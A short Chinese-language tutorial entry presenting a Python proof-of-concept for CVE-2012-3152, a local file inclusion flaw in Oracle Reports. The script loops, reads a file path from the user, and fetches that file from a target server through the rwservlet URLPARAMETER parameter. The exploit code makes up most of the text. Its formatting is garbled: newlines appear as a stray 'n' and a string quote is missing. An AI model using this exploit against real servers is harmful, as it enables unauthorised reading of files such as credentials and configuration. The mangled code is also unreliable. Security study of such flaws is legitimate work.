用例3: CVE-2012-3152

CVE-2012-3152

這一小段代碼是演示的CVE-2012-3152 Oracle本地文件包含的漏洞利用PoC,與前一個PoC示例有點類似，也是通過循環可以無限輸入需要訪問文件目錄。對於下面這一段腳本無前面有點不同。增加了一點交互性的東西。通過termcolor模塊來實現:

#!/usr/bin/pythonnimport sys, urllib2 # 導入需要的包nfrom termcolor import colored # 這裡需要下載"termcolor"模塊nnif len(sys.argv) != 2: # 檢查輸入的格式是否正確"<script> <URL>"n print "Usage: "+sys.argv[0]+" <URL>"n sys.exit(0)nnURL=sys.argv[1] # 輸出測試的URLnprint "[+] Attempting CVE-2012-3152 - Oracle Reports LFI"nnwhile True: # 循環開始時先輸出 "~$ " 然後通過"raw_input"獲取要執行的命令n resource=raw_input(colored("~$ ", "red"))n req = /reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///+resource+"n try: # 使用Try/Except處理響應信息n response=urllib2.urlopen(URL+req)n # 發起請求並且顯示響應內容n for line in response.readlines():n print line.strip()n except Exception as e: print en